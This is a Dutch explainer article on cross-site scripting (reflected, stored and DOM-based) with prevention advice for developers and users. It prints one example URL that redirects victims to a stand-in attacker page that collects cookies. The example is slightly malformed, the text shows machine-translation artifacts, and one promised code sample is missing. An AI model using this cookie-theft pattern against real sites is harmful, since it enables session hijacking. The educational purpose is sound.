Hoe hackers cross-site scripting gebruiken om websites te breken en gegevens te stelen

Cross-site scripting of XSS kan een krachtige en snelle aanval zijn. Als ontwikkelaar kunt u het zelfs beschouwen als een bug in uw code en uiteindelijk op zoek gaan naar bugs die er niet zijn.

Als klant die de kwetsbare website gebruikt, kunt u ook onschuldig essentiële informatie over uw authenticatietoegang aan de aanvaller prijsgeven.

Dus wat is cross-site scripting? Hoe kunnen hackers het gebruiken om in te breken op een website en uw gegevens te stelen? En hoe kun je zo'n risico verkleinen?

Wat is cross-site scripting?

Cross-site scripting of XSS vindt plaats als script van een kwaadwillende website interageert met code op een kwetsbare website.

Maar servers zijn zo bedraad dat mensen zonder authenticatie geen toegang hebben tot de broncode van uw website en deze kunnen bewerken.

Het internet gebruikt het Same Origin Policy (SOP) om interacties tussen sites te blokkeren. SOP controleert echter drie belangrijke beveiligingslekken en probeert deze te verkleinen. Zij zijn:

• Internetprotocolbeleid dat controleert of beide websites inhoud leveren via beveiligde SSL (HTTPS) of een onveilige URL (HTTP).
  instagram viewer
• Hetzelfde webhostbeleid, dat ervoor zorgt dat u beide websites op hetzelfde domein host.
• Het poortbeleid dat controleert of beide websites vergelijkbare communicatie-eindpunten gebruiken.

SOP stelt dat als een van deze beleidsregels voor twee websites anders is, ze geen gegevens via internet kunnen lezen of uitwisselen.

Maar JavaScript is een manipulatieve taal die het reactievermogen van een website bepaalt. Hoewel het JavaScript van uw website waarschijnlijk in een apart bestand staat, kunt u ook een scripttag maken en deze in uw Document Object Model (DOM) schrijven.

Een XSS-aanvaller zou dus kunnen denken: "als je JavaScript in een DOM kunt schrijven, dan kun je het uiteindelijk uitvoeren in elke code-editor of invoerveld dat HTML-tags accepteert. "

Een dergelijke kwetsbaarheid en kans is waar een aanvaller die XSS gebruikt op een doelwebsite naar uitkijkt. Als ze eenmaal zo'n maas in de wet hebben gevonden, kunnen ze SOP omzeilen.

Verwant: De ultieme JavaScript-cheat sheet

XSS is daarom een ​​aanval die kapers gebruiken om een ​​script te injecteren dat kwaadwillende acties uitvoert op een kwetsbare website. Het script kan zich richten op onbeveiligde formulieren of invoervelden die gegevens accepteren.

Hoe cross-site scripting werkt en typen, met voorbeelden

XSS kan een snelle uitvoering zijn van een gereflecteerd of tijdelijk script dat een aanvaller in formulieren zoals zoekvelden plaatst. Het kan ook een zeurende of hardnekkige zijn die in de database wordt geïnjecteerd. Of het kan passief komen na het laden van een pagina.

In sommige gevallen kan dit script ook de oorspronkelijke invoer van een slachtoffer wijzigen om hun intentie af te leiden. Een aanhoudende verandering in de invoer van een gebruiker zoals deze is een muterende XSS.

In welke vorm dan ook, het doel van een XSS-aanval is om de gegevens van een slachtoffer te stelen via blootgestelde cookies en logboeken.

Laten we eens kijken naar een korte uitleg van elk van deze XSS-aanvalstypen en hun voorbeelden om te begrijpen wat ze zijn.

Wat is een gereflecteerde XSS?

Een gereflecteerde of tijdelijke XSS is een directe injectie van JavaScript in het invoerveld van een gebruiker. Het richt zich op verzoeken die gegevens uit de database halen, zoals zoekresultaten. Maar het is een aanval van één cliënt.

Tijdens een gereflecteerde XSS voegt een aanvaller een script in de zoekterm van een doelslachtoffer in. Zo'n JavaScript kan een echo, een omleiding of een cookie-verzamelaar zijn.

Het script dat in het zoekinvoerveld wordt geïnjecteerd, wordt vervolgens uitgevoerd zodra een doelclient zijn vraag indient.

Tijdens de zoekopdracht van een gebruiker kan een aanvaller bijvoorbeeld een JavaScript invoegen dat een formulier echoot en het slachtoffer vragen zijn wachtwoord of gebruikersnaam in te voeren. Zodra de gebruiker dit doet, kunnen ze hun inloggegevens onbewust indienen bij een aanvaller, in de veronderstelling dat het een verzoek van de oorspronkelijke site is.

Soms kan de aanvaller ook een script gebruiken om een ​​gebruiker van de kwetsbare pagina naar zijn pagina om te leiden. Daar op de pagina van de aanvaller kan een nietsvermoedende gebruiker vervolgens worden misleid om een ​​paar formulieren in te dienen, wat leidt tot het lekken van inloggegevens.

Evenzo, als het doel is om de sessie van een gebruiker te stelen, injecteert de aanvaller een script voor het verzamelen van cookies in de zoekterm van de gebruiker. Vervolgens kapen ze de huidige sessie van de gebruiker, stelen ze relevante informatie en nemen ze de activiteiten van het slachtoffer over.

Het onderstaande voorbeeld van een XSS-aanval steelt de cookie van een gebruiker via een GET-verzoek:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

In het voorbeeld XSS hierboven vindt de aanvaller een maas in de wet op de kwetsbare website. Dus wanneer een gebruiker zoekt naar een niet-beschikbare bron op de kwetsbare site, wordt deze omgeleid naar de pagina van de aanvaller. De aanvaller tikt vervolgens op de cookie van de huidige gebruiker en grijpt zijn sessie.

Dit beveiligingslek komt echter vaak voor wanneer de queryactie van een site niet wordt gefilterd om scriptinjecties via HTML te controleren.

Maar zelfs als er een gefilterde zoekopdracht is, kan een aanvaller deze omzeilen door zijn toevlucht te nemen tot wanhopige maatregelen, zoals het verzenden van links naar mogelijke realtime gebruikers van een website. Ze kunnen dit doen met behulp van vorm van social engineering beschikbaar voor hen.

Verwant: Wat te doen nadat u bent gevallen voor een phishingaanval

Zodra slachtoffers op een dergelijke link klikken, kan de kaper de XSS-aanval nu met succes uitvoeren en relevante gegevens van het slachtoffer stelen.

De aanhoudende of opgeslagen cross-site scripting

De opgeslagen XSS vormt meer bedreigingen. In dit geval slaat een aanvaller het script op in de database van een website, waardoor het opgeslagen script permanent wordt uitgevoerd. De opgeslagen code kan worden uitgevoerd bij het laden van de pagina of na het laden van de pagina.

In tegenstelling tot de tijdelijke vorm van XSS, richt een opgeslagen XSS zich op de gehele gebruikersgroep van de kwetsbare website. Daarnaast richt het zich ook op de integriteit van de betrokken website.

Tijdens een aanhoudende XSS gebruikt een aanvaller invoervelden zoals commentaarformulieren om het script in de database van een website te plaatsen.

Maar wat als u POST-velden beveiligt met CSRF-tokens? Helaas omzeilt opgeslagen cross-site scripting CSRF-controles.

Dat komt omdat de aanvaller een formulier indient zoals elke andere gebruiker van de website. Zo'n commentaarformulier stuurt het script dus naar de database, net als alle andere commentaren.

Zo'n aanval kan gebeuren wanneer invoervelden op een website geen goede ontsmettingsmiddelen gebruiken om aan scripts en HTML-tags te ontsnappen.

Stel je voor dat een gebruiker het onderstaande script plaatst met behulp van een reactieformulier op het web:

Wanneer een aanvaller een dergelijke code invoegt in de database van een website, wordt het slachtoffer steeds omgeleid naar de website van de aanvaller wanneer de pagina wordt geladen. Het script kan ook een waarschuwing zijn, een interactieve modal box of een ingesloten kwaadaardige advertentie.

Omdat het script omleidt bij het laden van de pagina, merkt een slachtoffer dat niet bekend is met de kwetsbare website de omleiding mogelijk niet op.

Ze gaan dan verder met de interactie met de website van de aanvaller. De kaper kan dan echter verschillende middelen gebruiken om informatie van de slachtoffers te krijgen zodra ze op hun webpagina zijn.

Wat is een DOM of passieve XSS?

Een DOM-gebaseerde XSS voert een kwaadaardige code uit die in de website is ingesloten, waardoor de hele DOM aan de clientzijde zich ongewoon gedraagt.

Terwijl opgeslagen en gereflecteerde XSS zich richt op verzoeken aan serverzijde op een website, richt een DOM XSS zich op runtime-activiteiten. Het werkt door een script in te voegen in de component van een website die een specifieke taak uitvoert. Dat onderdeel voert geen actie op de server uit.

Het script dat in zo'n component wordt ingevoegd, verandert echter zijn bedoeling volledig. Als deze component een DOM-gerelateerde taak uitvoert, zoals taken waarmee de elementen van een website worden gewijzigd, kan het script ervoor zorgen dat de hele webpagina wordt gewijzigd.

In ergere gevallen kan een DOM-gebaseerde XSS een bug imiteren. Dat komt doordat de webpagina ongewoon reactief wordt.

Hoe u cross-site scripting-aanvallen kunt voorkomen

Een XSS-kwetsbaarheid komt voort uit oneigenlijk gebruik van de beste backend-praktijken. Het voorkomen van een cross-site scripting-aanval is dus meestal de verantwoordelijkheid van de ontwikkelaar. Maar gebruikers spelen ook een rol.

Het gebruik van een CSFR-token voor invoervelden lijkt geen oplossing voor XSS-aanvallen. En aangezien deze aanval ook het Same Origin-beleid omzeilt, moeten ontwikkelaars oppassen dat ze beveiligingspraktijken die XSS verhinderen niet weglaten.

De volgende preventieve maatregelen zijn nuttig voor ontwikkelaars.

Opschonen invoervelden

Om zowel opgeslagen als tijdelijke XSS te voorkomen, moet u efficiënte ontsmettingsmiddelen gebruiken voor invoervelden. Door zoekopdrachten op te schonen, wordt bijvoorbeeld voorkomen dat tags worden toegevoegd aan de zoektermen van gebruikers.

Gebruik Unicode en HTML Auto Escape

Het is handig om HTML en Unicode auto-escape te gebruiken om te voorkomen dat invoervelden zoals commentaar- en conversieformulieren scripts en HTML-tags accepteren. Auto-escape is een krachtige preventieve maatregel tegen opgeslagen of aanhoudende XSS.

Gebruikers toestaan ​​tags in reactieformulieren in te voegen, is een slecht idee voor elke website. Het is een inbreuk op de beveiliging. Als u dat echter moet toestaan, moet u alleen tags accepteren die geen XSS-bedreiging vormen.

Gebruik de juiste invoervalidatie

Zelfs als je tags volledig blokkeert, kan een aanvaller nog steeds een XSS-aanval uitvoeren via sociale middelen. Ze kunnen e-mails versturen in plaats van iets rechtstreeks op de kwetsbare website te plaatsen.

Dus een andere methode om dit te voorkomen, is door inputs efficiënt te valideren. Dergelijke maatregelen omvatten het valideren van protocollen en ervoor zorgen dat uw website alleen invoer accepteert van beveiligde HTTPS en niet van HTTP.

Het gebruik van speciale JavaScript-bibliotheken zoals dompurify kan ook helpen bij het blokkeren van XSS-gerelateerde beveiligingsinbreuken.

U kunt tools gebruiken zoals XSS-scanner of GEEKFLARE om te controleren op XSS-kwetsbaarheden op uw website.

Hoe gebruikers XSS kunnen voorkomen

Er zijn tegenwoordig miljoenen websites op internet. U kunt dus nauwelijks zien welke XSS-beveiligingsproblemen heeft.

Als gebruiker moet u er echter voor zorgen dat u bekend bent met een webservice voordat u deze gebruikt. Als een webpagina plotseling griezelig wordt of zich ongewoon gaat gedragen, kan dit een rode vlag zijn.

Pas in elk geval op dat u geen persoonlijke gegevens onthult aan een niet-vertrouwde derde partij. Pas dan op voor ongevraagde e-mails of verdachte posts op sociale media die kunnen resulteren in een vorm van phishing-aanvallen.

Er is geen enkele preventieve methode die iedereen past

We hebben gezien hoe een XSS-aanval eruitziet en hoe u deze kunt voorkomen. Het is gemakkelijk om XSS-beveiligingscontroles te vergeten tijdens de ontwikkeling. Dus ontwikkelaars moeten stappen ondernemen om ervoor te zorgen dat bescherming niet wordt weggelaten. Een combinatie van de eerder genoemde preventieve maatregelen werkt echter beter.

Wat zijn CSRF-aanvallen en hoe kunt u deze voorkomen?

Om te voorkomen dat u geld en inloggegevens verliest bij CSRF-aanvallen, hebben zowel ontwikkelaars als gebruikers een rol te spelen.

Over de auteur